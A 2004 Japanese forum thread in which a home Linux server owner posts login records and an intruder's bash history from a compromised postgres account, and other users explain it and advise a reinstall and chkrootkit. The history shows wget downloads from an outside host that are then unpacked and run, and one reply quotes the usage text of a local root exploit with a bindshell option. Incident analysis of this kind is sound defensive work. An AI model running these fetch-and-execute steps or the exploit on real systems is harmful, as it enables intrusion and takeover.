先日、自宅のLinuxサーバに不正に進入されてしまいました。
原因は、自分の管理ミスであったのですが、確認出来たログを載せますので何をされたか解る方がいましたら、情報をお願いします。
lastのログ
--------------------------------------------
postgres pts/1 80.97.66.209 Tue Oct 19 05:51 - 05:55 (00:04)
postgres pts/2 211.251.71.2 Tue Oct 19 01:39 - 01:39 (00:00)
postgres pts/1 80.97.66.209 Tue Oct 19 01:39 - 02:08 (00:28)
postgres pts/1 211.251.71.2 Tue Oct 19 01:37 - 01:37 (00:00)
--------------------------------------------
/home/postgres/.bash_history
--------------------------------------------
w
uname -a
cat /etc/hosts
cat /etc/issue
cd /tmp
ls -a
wget members.xoom.it/racovita/0.tar.gz
wget members.xoom.it/racovita/l.tgz
tar xzvf 0.tar.gz
rm -rf 0.tar.gz
./0
rm -rf 0
tar xzvf l.tgz
rm -rf l.tgz
./km3 -d
passwd
killall -9 socklist
exitr
exit
--------------------------------------------
#postgresのパスワードは変更後、サーバの電源は切っています。
- 1: 口コミさん ： 2004-11-17 00:56
- パスワード換えとバックドアだなきっと。
rootは取られてないと思うんで、システムファイルの変更はないだろうけど、バックドアがずっとパスワードクラックorルート昇格を試みてるかもしれないから、データだけバックアップ取ってＯＳ再インストールが良好。
とりあえず/var/logはバックアップ取って昇格とパスワードクラックの形跡がないか調べるよろし。
あとはまぁ、実際にwgetで落とされたファイルを自分でも落としてみて、どんなツールなのか調べるとか。
やれることはいっぱいある、電源落ちているならこれ以上の被害もないだろう。
- 2: 口コミさん ： 2004-11-17 04:15
- Usage: %s [-d] [-b] [-r] [-s] [-c executable]
-d -- use double-ptrace method (to run interactive programs)
-b -- start bindshell on port 4112
-r -- support randomized pids
-c -- choose executable to start
-s -- single-shot mode - abort if unsuccessful at the first try
Linux kmod + ptrace local root exploit by <anszom@v-lo.krakow.pl>
だそうで＞km3
root取られてるかもね〜
lsとかpsとかnetstatとかも置き換わってるかも。
色々コマンド差し替えられてるとおもうので、データ救って放棄
してしまうのが良いです(興味が無いなら)。ただし、その箱(から
/へ)外(に/から)接続できないようにした上でどうぞ。
- 3: 口コミさん ： 2004-11-17 04:20
- あえてろ〜ずさんのに付け加えるなら。
KNOPPIXから起動してchkrootkit -r してみるところだな。私なら。
まぁ、root取られるとかしてないと思うけど。
- 4: 口コミさん ： 2004-11-17 08:56
- > ろ〜ず さん
アドバイスありがとうございます。
/var/logには、該当しそうな時間には、下記の様なログが複数回残っているだけでそのほかには、関連しそうなログは、みつけられませんでした。
Oct 19 01:46:00 ns2 modprobe: modprobe: Can't locate module net-pf-22
>minemaz さん
確認ありがとうございます。
さすがにこのままの状態では、怖いので、初期化して、再インストールします。
>oddmake さん
アドバイスありがとうございます。
chkrootkit -r を実行してみたのですが、何も引っかからなかったです。
- 5: 口コミさん ： 2004-11-20 09:09
- chkrootkitとclamavでのウィルススキャンをして引っかからなかったら、
次はSELinuxの導入を検討した方がいいと思います。
かくいう私もSELinuxは手探り状態ですが…